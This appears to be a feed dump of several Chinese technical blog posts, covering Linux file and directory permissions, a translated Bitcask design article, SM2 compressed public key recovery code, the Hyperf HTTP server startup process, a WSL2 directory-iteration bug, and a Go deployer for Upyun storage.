sudo usermod -aG docker her-cat
-G 表示将用户添加到指定的 docker 组中。 -a 表示在组中追加用户,而不是覆盖现有的用户。
查看当前用户所属的群组。
[her-cat@centos her-cat]$ groups
her-cat adm wheel video docker
可以看到已经添加成功了,但需要重新登录才能使其生效,如果在虚拟机中运行 Linux,则可能需要重新启动虚拟机才能使更改生效。
但是,我们也可以使用 newgrp 命令切换当前用户所属的群组,使其立即生效。用户可以同时属于多个群组,但在某一时刻只能以一个主群组的身份进行工作。
需要注意的是,
newgrp命令只会在当前会话中起作用,一旦退出当前会话,将恢复到在系统中定义的默认主群组。
newgrp docker
这时读取 /var/run/docker.sock 文件就不会提示无权限了。
以上就是文件权限相关的内容,接着来看下前面提到的问题:为什么我们没有该文件的任何权限,却能看到这个文件呢?
这是因为能否看到某个目录下的文件,与文件本身的权限无关,而是与文件所在的目录的权限有关。
目录权限与文件权限都是使用 r/w/x 进行表示,但是它们代表的含义不一样,下面是目录权限的 r/w/x 所代表的含义。
工作目录就是指当前所在的目录,使用
cd命令进入某个目录的时候,就是将该目录作为工作目录。
从上面可以看出文件权限与目录权限的区别,文件权限针对的是对于文件内容的操作,而目录权限则针对的是文件本身,比如对移动文件、重命名文件等等,这些都是不会涉及文件内容的操作。
]]>注意:本文中使用 /var/run/docker.sock 文件作为例子,建议在实际中不要使用该文件练习本文中的操作,以免出现问题。
为了更深入地了解 Bitcask 是什么,我开始在 Google 上搜索相关资料,而这篇文章恰好排在搜索结果的前几位。文章详细介绍了 Bitcask 的关键实现细节,我觉得这篇文章可以帮助我们快速地了解 Bitcask,于是决定将其翻译成中文。
原文链接:https://arpitbhayani.me/blogs/bitcask/
Bitcask 是专为处理生产级流量而设计的、最高效的嵌入式键值(KV)数据库之一。介绍 Bitcask 的论文称它是一个用于快速键值的日志结构哈希表,用更简单的话来说,这意味着数据会被按顺序写入到仅附加日志文件中,并且每个键都会有一个指向其日志条目所在位置的指针。基于仅附加日志文件构建 KV 存储,这看起来似乎是一个非常奇怪的设计选择,但是 Bitcask 不仅提高了效率,而且还提供了非常高的读写吞吐量。
Bitcask 被引入作为一个名为 Riak 的分布式数据库的后端,其中每个节点都运行了一个 Bitcask 实例来保存它所负责的数据。在这篇文章中,我们将会深入研究 Bitcask 及其设计,并找到使其性能如此出色的秘诀。
Bitcask 使用了很多日志结构文件系统的原理,并从许多涉及日志文件合并的设计中汲取了灵感,例如 LSM 树的合并。从本质上来说,它就是一个具有固定结构和内存索引的仅附加(日志)文件的目录,内存索引中保存了键映射到点查找所需的大量信息(指数据文件中的条目)。
点查找(Point lookup)是指一次获取单个键值。类似的还有范围查找(Range lookup),是指一次获取多个键值。
数据文件是一个仅附加日志文件,用来保存键值对以及一些元信息。单个 Bitcask 实例可以有很多个数据文件,但其中只会有一个数据文件处于活跃状态并打开用于写入操作,而其它数据文件则被认为是不可变的,仅用于读取操作。

如上图所示,数据文件中的每个条目都有一个固定的结构,其中存储了 crc、timestamp、key_size、value_size、实际的 key、实际的 value。在引擎上的所有写操作(创建、更新、删除)都会转换为活跃数据文件中的条目。当这个活跃的数据文件的大小达到阈值时,它将会被关闭并创建一个新的处于活跃状态的数据文件;正如前面说的那样,当数据文件被关闭时(无论是有意或无意),就会被认为是不可变的,并且永远都不会再次打开用于写入操作。
键目录是一个内存哈希表,它存储了 Bitcask 实例中存在的所有键,并将其映射到日志条目(值)所在的数据文件中的偏移量;从而使点查找更加方便。哈希表中的映射值是一个包含 file_id、offset 和一些元信息(例如 timestamp )的结构体,如下图所示。

现在我们已经了解了 Bitcask 的整体设计和组件,我们可以开始探索它支持的操作及其实现的细节。
当一个新的键值对被提交并保存到 Bitcask 时,引擎首先会将它追加到活跃的数据文件中,然后在键目录中创建一个新的条目,并指定存储该值的偏移量和文件。这两个操作都是以原子方式执行的,意味着要么在两个结构中都创建条目,要么都不创建。
创建一个新的键值对只需要一个原子操作,包含了一次磁盘写入和几次内存访问和更新。由于活跃的数据文件是一个仅附加文件,因此磁盘写入操作不必执行任何磁盘寻址,使写入操作以最佳速率进行,从而提供高写入吞吐量。
该键值存储不支持部分更新,开箱即用,但是它支持整值替换。因此,更新操作与创建一个新的键值对非常相似,唯一的不同是不在键目录中创建条目,而是用新的位置更新已存在的条目,新的位置可能是在新的数据文件中。
与旧值对应的条目现在处于悬挂状态,并且将会在合并和压缩的过程中显式地进行垃圾回收。
删除键是一种特殊的操作,其中引擎以原子方式在活跃的数据文件中追加一个新条目,该条目的值等于墓碑值(表示删除),并从内存中的键目录中删除该条目。需要选择一个非常特别的值作为墓碑值,这样才不会让它干扰现有的值空间。
与更新操作一样,删除操作非常的轻量级,需要磁盘写入和内存更新。同样在删除操作中,与已删除的键相对应的旧条目将保持悬挂状态,并且将会在合并和压缩的过程中显式地进行垃圾回收。
从存储中读取键值对,首先需要引擎找到数据文件以及提供的键在其中的偏移量;这个步骤是使用键目录完成的。一旦该信息是有效的,引擎就会从相应数据文件的偏移量处执行一次磁盘读取,以检索日志条目。根据存储的 CRC 对检索到的值进行正确性检查,然后将该值返回给客户端。
从本质上来说,该操作的速度很快,因为它只需要一次磁盘读取和几次内存访问,但使用文件系统预读缓存可以使其速度更快。
正如我们在更新和删除操作期间所看到的,与键相对应的旧条目会保持不变并处于悬挂状态,这会导致 Bitcask 消耗了大量的磁盘空间。为了提高磁盘利用率,引擎每隔一段时间就会将已关闭的、旧的数据文件压缩到一个或多个与现有数据文件结构一致的合并文件中。
合并过程会遍历 Bitcask 中的所有不可变文件,并生成一组数据文件,这些数据文件仅包含当前每个键的实时和最新版本。这样,在新数据文件中将会忽略未使用和不存在的键,从而节省大量的磁盘空间。由于记录现在存储于不同的合并数据文件中,并且位于新的偏移量,因此需要对键目录中条目进行原子更新。
如果 Bitcask 发生故障并需要重新启动,它必须读取所有的数据文件并构建一个新的键目录。在这里合并和压缩确实是有所帮助的,因为它减少了读取一些最终将会被驱逐的数据的需要。但还有另一种操作可以帮助加快启动时间。
为每个数据文件创建一个提示文件,它保存了数据文件中除了值以外的所有内容(键和相应的元信息)。因此,这个提示文件只是一个包含对应数据文件中所有键的文件。由于提示文件非常小,因此通过读取该文件,引擎可以快速地创建整个键目录并更快地完成启动过程。
键目录必须在内存中维护所有的键,这给系统增加的巨大的限制,因为它需要有足够的内存来容纳整个键空间以及文件系统缓冲区等其他必需品。因此,Bitcask 的限制因素是可用于保存键目录的 RAM 有限。
尽管看起来这个缺点很严重,但解决方案相当简单。通常情况下,我们可以对键进行分片并水平扩展,而不会对创建、读取、更新和删除等基本操作造成太大损失。
在介绍几种还原 SM2 压缩公钥的方法之前,让我们先了解一下什么是 SM2 压缩公钥。
在 SM2 算法中,公钥的大小为 64 字节,算上前缀 04 的话就是 65 字节。公钥由椭圆曲线上的坐标点(x, y)组成,即每个坐标点都是 32 字节的大数。为了节省存储空间,通常会对公钥进行压缩后使用,也就是压缩公钥。
压缩公钥分别由前缀和坐标点 x 一共 33 字节组成,当坐标点 y 是偶数时,使用 02 作为前缀,否则使用 03 作为前缀。使用 16 进制字符串表示时,字符串长度为 66 个字符。
还原压缩公钥的原理:先通过压缩公钥的前缀,确定坐标点 y 是奇数还是偶数,然后根据椭圆曲线的公式计算得到完整的公钥。
没看懂?没关系,下面我介绍几种还原压缩公钥的方法,让你不需要知道原理也能还原压缩公钥。
下面是我找到的两个比较好用的在线工具:
第一个网站,只要将压缩公钥粘贴到输入框,点击「还原公钥」按钮就可以得到完整的公钥,该工具输出的结果还需要去除其中的空格才能使用。
第二个网站,除了支持压缩公钥以外,还支持 HEX、PEM 格式的公钥,先将公钥粘贴到输入框,网站会自动将其转换成 PEM 格式(sm2p256v1),然后借助下面这段代码就能得到完整的公钥。
$pemStr = 'PEM 格式的公钥';
$pemStr = str_replace(['-----BEGIN PUBLIC KEY-----', '-----END PUBLIC KEY-----', PHP_EOL], '', $pemStr);
$uncompressedPublicKey = substr(bin2hex(base64_decode($pemStr)), -128);
echo "未压缩公钥:" . $uncompressedPublicKey;
虽然在线工具非常便捷,并且也能够达到我们想要的目的,但还是缺乏一些安全性,因为我们不清楚这些在线工具是否会收集信息,所以最好还是使用本地运行的代码来还原压缩公钥。然后我开始在网上搜索还原压缩公钥的相关资料,但找了很久都没有找到。于是我修改了搜索词,最后,我在某个使用 Java 基于 Bouncy Castle 封装 SM2 工具类的文章中找到了一些思路,也就有了 Java 版还原压缩公钥的代码。
import cn.hutool.core.util.HexUtil;
import org.bouncycastle.asn1.gm.GMNamedCurves;
import org.bouncycastle.asn1.x9.X9ECParameters;
import org.bouncycastle.crypto.params.ECDomainParameters;
import org.bouncycastle.crypto.params.ECPublicKeyParameters;
import org.bouncycastle.math.ec.ECPoint;
import org.bouncycastle.util.encoders.Hex;
public class Main {
public static void main(String[] args) {
String compressedPublicKey = "02 或 03 开头的压缩公钥";
// 获取一条SM2曲线参数
X9ECParameters sm2ECParameters = GMNamedCurves.getByName("sm2p256v1");
// 构造ECC算法参数,曲线方程、椭圆曲线G点、大整数N
ECDomainParameters domainParameters = new ECDomainParameters(sm2ECParameters.getCurve(), sm2ECParameters.getG(), sm2ECParameters.getN());
// 提取公钥点
ECPoint pukPoint = sm2ECParameters.getCurve().decodePoint(Hex.decode(compressedPublicKey));
// 公钥前面的02或者03表示是压缩公钥,04表示未压缩公钥, 04的时候,可以去掉前面的04
ECPublicKeyParameters publicKeyParameters = new ECPublicKeyParameters(pukPoint, domainParameters);
String uncompressedPublicKey = HexUtil.encodeHexStr(publicKeyParameters.getQ().getEncoded(false));
System.out.println("未压缩公钥:" + uncompressedPublicKey);
}
}
实际上,一开始就只有上面 Java 版本的代码,在准备写这篇文章的时候,突然想到 PHP 应该也能实现才对,然后我又去研究了下怎么在 PHP 中实现还原压缩公钥。
在 PHP 中对于国密算法相关的操作,一般都是使用 lpilp/guomi 这个包,它实现了 SM2、SM3、SM4 国密算法,其中 SM2 算法是基于 mdanter/ecc 这个包实现的。虽然 lpilp/guomi 支持 SM2 算法相关的操作,但是对外提供的方法都只支持未压缩公钥,对于压缩公钥只能我们自己想办法。
于是,我开始研究它对外提供的这几个方法,最后在 RtSm2::verifySignOutKey 方法中找到了一些蛛丝马迹。
public function verifySignOutKey( $document, $sign, $publickeyFile, $userId = null ) {
...
// Parse signature
$sigSerializer = new DerSignatureSerializer();
$sig = $sigSerializer->parse( $sigData );
// Parse public key
$keyData = file_get_contents( $publickeyFile );
$derSerializer = new DerPublicKeySerializer( $adapter );
$pemSerializer = new PemPublicKeySerializer( $derSerializer );
$key = $pemSerializer->parse( $keyData );
$pubKeyX = $this->decHex( $key->getPoint()->getX() );
$pubKeyY = $this->decHex( $key->getPoint()->getY() );
$hash = $this->_doS3Hash( $document, $pubKeyX, $pubKeyY, $generator, $userId );
$signer = new Sm2Signer( $adapter );
return $signer->verify( $key, $sig, $hash );
}
上面这段代码中的 $pubKeyY 不就是 SM2 算法中公钥的另一个坐标点 y 的值吗?将 $pubKeyX 和 $pubKeyY 拼接在一起就可以得到完整的公钥。经过一顿调试并将上面的代码进行简化后,就有了 PHP 版本的实现。
use Mdanter\Ecc\Serializer\Point\CompressedPointSerializer;
use Mdanter\Ecc\Serializer\Point\UncompressedPointSerializer;
use Rtgm\ecc\RtEccFactory;
$adapter = RtEccFactory::getAdapter();
$curve = RtEccFactory::getSmCurves()->curveSm2();
$compressedPublicKey = '02 或 03 开头的压缩公钥';
$compressedPointSerializer = new CompressedPointSerializer($adapter);
$point = $compressedPointSerializer->unserialize($curve, $key);
$uncompressedPointSerializer = new UncompressedPointSerializer();
$uncompressedPublicKey = $uncompressedPointSerializer->serialize($point);
echo "未压缩公钥:" . $uncompressedPublicKey;
在本文中,我向你介绍了三种还原压缩公钥的方法。首先是使用在线工具,它们可以直接将压缩公钥转换为完整的公钥,使用起来比较方便,但缺乏了安全性。其次是使用 Java 的 Bouncy Castle 类库,通过编写代码来还原压缩公钥,保证了安全性和隐私性。最后是使用 PHP 的 lpilp/guomi 包,其效果与 Java 版本的一致。在实际使用中,你可以根据自己的需求来选择合适的方法。
]]>php bin/hyperf.php start 启动命令,等上几秒钟,就可以看到终端输出的 Worker 进程已启动,HTTP 服务监听在 9501 端口的日志信息。
[INFO] Worker#3 started.
[INFO] Worker#1 started.
[INFO] Worker#2 started.
[INFO] Worker#0 started.
[INFO] HTTP Server listening at 0.0.0.0:9501
打开浏览器访问 http://127.0.0.1:9501,不出意外的话,页面会显示 Hello Hyperf,说明 HTTP 服务已经在工作了。那么这是怎么做到的呢?当我们执行启动命令后,Hyperf 是如何让 HTTP 服务启动的?
所以今天这篇文章我会从启动命令开始,给你介绍下 HTTP 服务是如何完成初始化并启动的。通过阅读这篇文章,你可以了解到以下内容:
接下来,我们就从 Hyperf 的入口文件开始,了解启动 HTTP 服务的实现思路。
在启动命令中,除了 PHP 可执行文件以外,有两个是我们要关注的重点:
先来看一下 bin/hyperf.php 文件,我将该文件的执行逻辑分成了四个阶段。
在这个阶段中,主要是通过调用一些 PHP 内置函数,完成 PHP 相关的配置初始化,比如运行内存大小限制、错误级别、时区等等。
我们需要注意下在这一阶段定义的两个常量: BASE_PATH 和 SWOOLE_HOOK_FLAGS。
我们经常会在 Swoole 相关的资料文档中看到「一键协程化」技术,实际上指的就是在启用协程时传入 SWOOLE_HOOK_ALL 配置项,通过 Hook 所有函数,让项目中会发生 IO 阻塞的代码变成可以协程调度的异步 IO,即一键协程化。
在 Hyperf 中,我们可以使用注解减少一些繁琐的配置,还可以基于注解实现很多强大的功能。比如注解注入、AOP 面向切面编程、路由定义、权限控制等等。这些功能能够正常运行,其实都离不开类加载器在初始化过程中的准备工作。
在初始化类加载器过程中,主要会进行以下操作:
在这个阶段, Hyperf 会先读取预先定义好的依赖关系的配置信息,包括 config/autoload/dependencies.php 配置文件中用户自定义的依赖关系,以及各组件中通过 ConfigProvider 机制定义的依赖关系。将这些初始的依赖关系保存到依赖注入容器中,完成对容器的初始化。
我们回过头来看一下启动命令,你会发现,实际上 Hyperf 本身就是一个命令行应用,而启动命令中的 start 不过是命令行应用的参数,也就是要执行的命令的名字。
在 Hyperf 中有很多内置的命令,比如 start、migrate、gen 等等,当然我们也可以根据自己的需求自定义命令。初始化命令行应用的过程,就是将这些 Hyperf 内置的命令、自定义的命令,注册到命令行应用中的过程。
到了这里,Hyperf 的初始化工作就已经结束了,命令行应用就会开始对启动命令中的参数进行解析,通过参数找到在命令行应用中注册的命令并执行。参数 start 对应的命令类是 StartServer,你可以在 hyperf/server 组件中找到它。
在 StartServer 中,完成了对 HTTP 服务的初始化以及启动操作,包含检查运行环境、读取服务配置文件、初始化 HTTP 服务、启动 HTTP 服务四个步骤,下面我们来了解一下这些步骤中分别做了哪些事情。
我们知道,Hyperf 目前使用 Swoole 作为底层框架,所以在启动的时候,会先检查是否安装了 Swoole 的扩展,然后再检查是否禁用了 Swoole 的函数短名(short function name),如果没有禁用,就会输出提示信息并终止程序的运行。
在 Hyperf 中,我们使用 config/autoload/server.php 文件来配置服务信息,详细的字段说明可以查看 Hyperf 官方文档。
其中有两个字段需要注意,分别是 server.type 和 server.servers.type,很多人不太清楚这两个配置项的作用和区别,下面我们来了解一下。
Swoole 提供了异步和协程两种风格的服务端,下面是两者的不同之处。
Hyperf 作为上层框架,当然要支持这两种风格的服务端,同时还要考虑到扩展性,方便后续接入其它风格的服务端。
所以 Hyperf 在设计之初做了一层抽象,定义了一个 ServerInterface 接口,在接口中定义了三个常量,作为服务类型的枚举值。用于在配置文件中通过 server.servers.type 配置项设置服务的类型。同时,还定义了构造函数、初始化、启动三个方法。
interface ServerInterface
{
// HTTP 服务
public const SERVER_HTTP = 1;
// Websocket 服务
public const SERVER_WEBSOCKET = 2;
// TCP 服务
public const SERVER_BASE = 3;
// 构造函数
public function __construct(ContainerInterface $container, LoggerInterface $logger, EventDispatcherInterface $dispatcher);
// 初始化
public function init(ServerConfig $config): ServerInterface;
// 启动
public function start(): void;
}
Hyperf 不仅实现了基于 Swoole 的两种风格的服务端,还实现了基于 Swow 的服务端。
我们可以通过 server.type 配置项,来决定使用哪种风格的服务端用于运行各种类型的服务。当然,你也可以通过实现 ServerInterface 接口,自定义其它类型的服务端。
通过上面的内容你可以知道,在运行 Hyperf 的时候,只能使用一种服务端,但是可以运行多个不同类型的服务,比如 HTTP 服务、Websocket 服务等等。为了便于说明,我会使用异步风格服务端给你介绍初始化 HTTP 服务的过程。
初始化 HTTP 服务的操作,是在 ServerFactory::configure 方法中完成的,主要可以分为两个步骤。
在这一步骤中,主要是将配置文件中数组形式的配置信息,解析成 ServerConfig 对象。
class ServerConfig implements Arrayable
{
public function __construct(protected array $config = [])
{
// 将各种类型的服务解析成 Port 对象
$servers = [];
foreach ($config['servers'] as $item) {
$servers[] = Port::build($item);
}
// 将其它类型的配置都保存到对象中
$this->setType($config['type'] ?? Server::class)
->setMode($config['mode'] ?? 0)
->setServers($servers)
->setProcesses($config['processes'] ?? [])
->setSettings($config['settings'] ?? [])
->setCallbacks($config['callbacks'] ?? []);
}
}
当没有设置服务端的类型时,默认使用 Hyperf\Server\Server,即异步类型的服务端。
在这一步骤中,会调用 ServerFactory::getServer 方法,根据 ServerConfig 对象中的 type 属性实例化出对应的服务端对象,即 Hyperf\Server\Server 对象。在 Hyperf\Server\Server 对象中,定义了一个 server 属性,用于保存 Swoole 异步风格服务器对象。在 Swoole 异步风格的服务端中,有以下三种类型的服务器:
在 init 方法中,会根据 server.servers.type 配置项的值(即 ServerInterface 接口中的常量),实例化出相应的服务器对象,并保存到 server 属性中。
这里会有一个问题,在 Hyperf\Server\Server 对象中只有一个 server 属性,但是,在 server.servers 配置项中,我们可以配置多个不同类型的服务,那么是如何支持运行多个服务的呢?
这里就跟 Swoole 的服务器实现有关,Swoole 的异步风格服务器可以通过调用 addListener 方法监听多个端口,每个端口都可以设置不同的协议处理方式。这样就实现了一个服务器对象,同时运行多个不同类型的服务。
下面我们来看一下 init 方法的主要逻辑。
首先,在 init 方法中会先调用 ServerFactory::sortServers 方法,对需要启动的服务按照类型 Websocket、HTTP、TCP 的顺序进行排序。
然后,依次遍历这些服务,完成对每个服务的初始化。循环中包括两个分支:
在 makeServer 方法中,会根据服务类型实例化出相应的服务器对象,下面代码展示了这部分的逻辑,你可以看下。
switch ($type) {
case ServerInterface::SERVER_HTTP:
return new Swoole\Http\Server($host, $port, $mode, $sockType);
case ServerInterface::SERVER_WEBSOCKET:
return new Swoole\WebSocket\Server($host, $port, $mode, $sockType);
case ServerInterface::SERVER_BASE:
return new Swoole\Server($host, $port, $mode, $sockType);
}
Swoole 提供了很多事件,比如 workerStart 工作进程启动后的事件、request 收到请求后的事件,这些事件在 Hyperf\Server\Event 中都有相应的常量。
在 Hyperf 中,有三种事件回调函数的配置,分别是全局事件、服务事件、默认事件。
server.callbacks 配置项设置全局的事件的回调函数。server.servers.callbacks 配置项为每一个服务单独设置事件的回调函数。这些配置优先级是:服务事件 > 全局事件 > 默认事件。下面的代码展示了注册事件的回调函数的核心逻辑。
// 按照优先级获取配置的所有事件及其回调函数
$callbacks = array_replace($this->defaultCallbacks(), $config->getCallbacks(), $callbacks);
foreach ($callbacks as $event => $callback) {
// 非 Swoole 事件,直接跳过
if (! Event::isSwooleEvent($event)) {
continue;
}
...
// 为服务器对象注册该事件的回调函数
$server->on($event, $callback);
}
在启动 HTTP 服务之前,会执行以下代码设置一键协程化 Hook 的函数范围,swoole_hook_flags 函数的返回值就是 SWOOLE_HOOK_FLAGS 常量的值,即 SWOOLE_HOOK_ALL。
Coroutine::set(['hook_flags' => swoole_hook_flags()]);
接着会调用 ServerFactory::start 方法启动服务,在该方法中,直接调用 Hyperf\Server\Server 的 start 方法启动 Swoole 服务器。
当 Swoole 服务器启动后,会执行注册在服务器对象的 Event::ON_WORKER_START 事件的回调函数 WorkerStartCallback::onWorkerStart。
在 onWorkerStart 方法中,输出 Worker#{$workerId} started. 日志信息,并通过事件分发器分发 AfterWorkerStart 事件,在该事件的监听器 AfterWorkerStartListener 中,输出 HTTP Server listening at 0.0.0.0:9501 日志信息。
到这里,HTTP 服务就已经启动了。
在这篇文章中,我们通过 bin/hyperf.php 文件,了解了 Hyperf 在初始化框架时会执行哪些操作。接着,又通过 StartServer 了解了 HTTP 服务在启动过程中的四个步骤。其中,HTTP 服务的初始化是整个启动过程中的关键步骤,你可以配合源码进一步了解 Hyperf 的设计和实现思路。
尽管本文的主题是 HTTP 服务,但实际上,无论是 WebSocket服务、TCP服务还是其他类型的服务,这些服务的启动过程与 HTTP 服务的启动过程大同小异。
因此,掌握 HTTP 服务的启动过程,不仅有助于你了解 HTTP 服务的运行细节,还有助于你了解 Hyperf 以及其它类型服务的运行细节。当你遇到问题时,可以按照启动过程中的步骤逐步检查,从而帮助你更快地解决问题。
]]>PHP: 8.0.13
Swoole: 4.6.2
Hyperf: 2.2.33
运行环境: Docker Desktop on WSL2
有同事说我之前使用注解实现的某个功能有问题,具体表现就是有部分使用了注解的类没有被 Hyperf 收集到注解收集器中,导致出现了不符合预期的结果。
由于这个功能已经运行了一段时间,并且我在自己的电脑(Mac)上测试是正常的,找另外一个跟他同样使用 Windows + Docker 开发的同事进行测试也是正常的,所以可以排除业务代码和环境的问题。
简化后的代码如下:
#[Attribute(Attribute::TARGET_CLASS)]
class CustomAnnotation extends AbstractAnnotation
{
}
#[CustomAnnotation]
class Foo
{
}
#[CustomAnnotation]
class Bar
{
}
在上面的代码中,定义了一个注解类 CustomAnnotation,并且在两个类上使用了这个注解。期望的结果是 Foo 和 Bar 都能够被 Hyperf 收集到注解收集器中,但实际上只有 Foo 被收集到了。
Foo 和 Bar 分别在不同的文件中,但是都在同一个目录下,该目录下的文件数量有 60+。
于是我俩开始在他的电脑上排查是不是 Hyperf 的问题。
在 Hyperf 启动时, ClassLoader 类加载器会扫描项目中所有的类文件,并将元数据(注解与类之间的关系)收集到相应的注解收集器中,如果没有自定义注解收集器,则默认统一收集到 Hyperf\Di\Annotation\AnnotationCollector 类中。
下面是完成收集注解的主要逻辑:
Finder 类遍历指定目录下所有的 PHP 类文件。Hyperf\Di\Annotation\AnnotationInterface 接口,该接口定义了三个方法分别用于收集类、方法、属性的元数据。完成收集后,我们就能使用注解收集器提供的静态方法的获取对应的元数据用于实现一些自定义的逻辑和功能。
第一步就是先检查类文件是否被 Finder 类读取到了,这部分的逻辑在 ReflectionManager::getAllClasses() 静态方法中。
public static function getAllClasses(array $paths): array
{
$finder = new Finder();
// 设置读取指定目录下的 PHP 文件
$finder->files()->in($paths)->name('*.php');
$parser = new Ast();
$reflectionClasses = [];
foreach ($finder as $file) {
try {
// 解析文件内容获取类名称
$stmts = $parser->parse($file->getContents());
if (! $className = $parser->parseClassByStmts($stmts)) {
// 没获取到说明没有定义类
continue;
}
$reflectionClasses[$className] = static::reflectClass($className);
} catch (\Throwable) {
}
}
return $reflectionClasses;
}
将获取目录下文件的这段代码提出来单独进行测试。由于 Finder 类实现了 IteratorAggregate 接口,所以在上面的代码中可以直接对 Finder 类进行遍历,也可以使用 iterator_to_array() 函数直接获取迭代器的结果。
$finder = new Finder();
// 设置读取指定目录下的 PHP 文件
$finder->files()->in('出现问题的目录路径')->name('*.php');
var_dump(iterator_to_array($finder));
通过观察打印的结果就发现了问题所在:没有读取到 Bar 的类文件。
当时就在想,这么流行的一个组件包总不能出现这么低级的 Bug 吧?抱着怀疑的心态继续分析 Finder 类实现迭代器的代码,最后将问题定位到了 PHP 内置的 RecursiveDirectoryIterator 类上,Finder 类实际上就是对 PHP 的这些类做了一层封装。
RecursiveDirectoryIterator 提供了一个用于递归迭代文件系统目录的功能,用这个类再次进行上面的测试,依然没有读取到 Bar 的类文件。
$iter = new RecursiveDirectoryIterator('出现问题的目录路径');
var_dump(iterator_to_array($iter));
于是,我又一次陷入了怀疑中,难道 PHP 实现的这个类有问题?还得继续看 PHP 的源码?我在犹豫了一会后打开了 Google,抱着肯定有人也遇到过这个问题的想法输入了「RecursiveDirectoryIterator bug」,按下回车,在短暂的页面加载后…
嘿,还真有人已经遇到过这个问题。
在前几条搜索结果中,赫然发现有人在 PHP 官方的 Bug 系统反馈了这个问题:RecursiveDirectoryIterator returns incorrect results for Docker Desktop on WSL2,并贴心的附带了可以复现问题的代码。
下面是精简过后的复现代码。
$filesPath = __DIR__.'/files';
if (! mkdir($filesPath) && ! is_dir($filesPath)) {
throw new \RuntimeException(sprintf('Directory "%s" was not created', 'files'));
}
$max = 1;
$stop = 5000;
// 生成测试文件,模拟目录中文件较多的情况
foreach(range(1, $stop) as $index) {
$message = sprintf("creating %s\n", $index);
echo $message;
file_put_contents(__DIR__ . '/files/file' . $index, str_repeat('A', 100));
}
$iter = new \RecursiveDirectoryIterator($filesPath, FilesystemIterator::KEY_AS_PATHNAME|FilesystemIterator::CURRENT_AS_FILEINFO|FilesystemIterator::SKIP_DOTS);
var_dump(iterator_count($iter));
// 打印出来的数字小于 5000 说明复现成功了
PHP 官方给出了回复:这是 WSL 的 Bug,并提供了相关的 issue:WSL2: Seek of directory entry by lseek does not work on v9fs。里面的实际输出跟我们发现这个问题时的打印结果几乎一模一样,感兴趣的可以去看看。
有人可能会问,lseek() 函数跟 RecursiveDirectoryIterator 类有什么关系吗 ?
当然有!将上面的代码保存到 test.php 文件,然后执行 strace php test.php 命令查看 PHP 代码的系统调用情况。
...省略其他部分...
openat(AT_FDCWD, "/home/ubuntu/files", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
fstat(4, {st_mode=S_IFDIR|0775, st_size=135168, ...}) = 0
brk(0x55d84733f000) = 0x55d84733f000
getdents(4, /* 1024 entries */, 32768) = 32752
lseek(4, 0, SEEK_SET) = 0
getdents(4, /* 1024 entries */, 32768) = 32752
getdents(4, /* 1024 entries */, 32768) = 32768
getdents(4, /* 1024 entries */, 32768) = 32768
getdents(4, /* 1024 entries */, 32768) = 32768
getdents(4, /* 906 entries */, 32768) = 28992
getdents(4, /* 0 entries */, 32768) = 0
write(1, "int(5000)\n", 10int(5000)
) = 10
close(3) = 0
close(4) = 0
...省略其他部分...
可以看到,RecursiveDirectoryIterator 类在底层中调用了 lseek() 函数,它的作用是设置文件偏移量。lseek(4, 0, SEEK_SET) 表示将文件偏移量设置为 0,即文件开头的位置,该函数无法工作会导致下次操作依然使用的是原来的文件偏移量。
Linux 中万物皆为文件,包括目录。
用 PHP 代码来举个例子,这里使用 PHP 的 rewinddir() 函数代替 lseek() 函数,实际上底层调用的还是 lseek() 函数。
$dh = opendir(__DIR__ . '/files');
echo '开始读取目录中的所有文件:' . PHP_EOL;
while (($file = readdir($dh)) !== false) {
echo 'filename:' . $file . PHP_EOL;
}
echo '再次读取目录中的所有文件:' . PHP_EOL;
// 这时文件偏移量已经到达文件的末尾,再次读取目录将不会有任何输出,模拟 lseek() 函数无法工作的情况
while (($file = readdir($dh)) !== false) {
echo 'filename:' . $file . PHP_EOL;
}
// 将文件偏移量重置到文件的开头
rewinddir($dh);
echo '重置偏移量后读取目录中的所有文件:' . PHP_EOL;
// 与第一次读取的结果相同,模拟 lseek() 函数正常工作的情况
while (($file = readdir($dh)) !== false) {
echo 'filename:' . $file . PHP_EOL;
}
closedir($dh);
在 WSL2 以外的系统中运行以上代码,可以得到与预期一致的结果。那么在 WSL2 中运行的结果是什么?
当然,最好是 WSL 官方能够修复这个问题,但是从有人提出这个问题到现在已经快三年了依然没有被解决的情况来看,不知道得等到猴年马月。
提问的作者也给出了一种解决方案,开启 Hyper V。但是经过测试后发现开启 Hyper V 依然会出现这个问题,所以最后直接从 WSL2 回滚到 WSL1,从另一种「根本上」解决这个问题。
等等,文章开头不是说已经排除是环境的问题了吗?怎么最后又是环境的问题了?
是的,这是由于我当时并没有问清楚,只是确认了另一个同事是用 Docker 运行的,我怎么也没想到他是本地运行了个虚拟机,然后在虚拟机里面运行 Docker…
当然,后面的源码分析也不是一点作用都没有,至少将问题的范围从 Hyperf 框架缩小到了 Finder 类,再到 RecursiveDirectoryIterator 类。否则直接 Google 搜索「Hyperf 注解失效」是很难找到正确答案的。
在这篇文章中,讲述了我排查「Hyperf 注解失效」问题的过程,整个排查过程看似一气呵成,但实际上要曲折得多,甚至一度觉得这是个玄学问题。
最后,没有 Bug 的程序是不存在的,不要过度迷信那些看似很可靠的系统。
]]>首先,为了能够通过 Github Actions 将博客文件自动同步到又拍云上,需要写一个脚本来实现上传文件的逻辑。
在此之前,我已经写过一个这样的脚本,用来将博客图片同步到又拍云上。这次用 Go 重写了这个脚本,旧版本的脚本执行需要四十多秒,而新的脚本执行只需要三秒钟。
主要是因为使用了 Go 语言自带的协程和 Channel,并将上传文件的逻辑放在协程中,使得主流程不会被上传文件的动作阻塞,实现并发上传文件,从而达到提升执行速度的目的。
相关代码已经上传到 GitHub:https://github.com/her-cat/upyun-deployer,感兴趣的话可以看一下。
脚本的逻辑分为两部分:上传文件、清理已删除的文件和空目录。
上传文件时,先检查文件在又拍云存储库中是否已经存在,如果不存在则直接上传;存在的话就检查文件的 md5 值是否一致,一致则说明该文件没有被修改,不需要处理该文件,否则重新上传该文件。
当本地删除了某个文件后,又拍云的存储库要同步删除该文件;当目录中没有任何文件时,需要删除该目录。
为了实现这一点,在上传文件之前,我们需要从又拍云拿到所有的文件及目录的相对路径,并保存到 files 和 dirs 数组中。 每次上传本地文件时,先将本地文件的相对路径从 files 数组中删除,并将该路径对应的多级目录从 dirs 数组中删除。
当所有的本地文件都上传完毕后,files 和 dirs 数组中剩余的文件和目录就是我们要清理的内容,直接调用又拍云删除接口即可。
要注意的是,删除目录时,需要从最深层的目录开始删除,否则就会由于目录中存在子目录导致删除失败,即使子目录是空的。
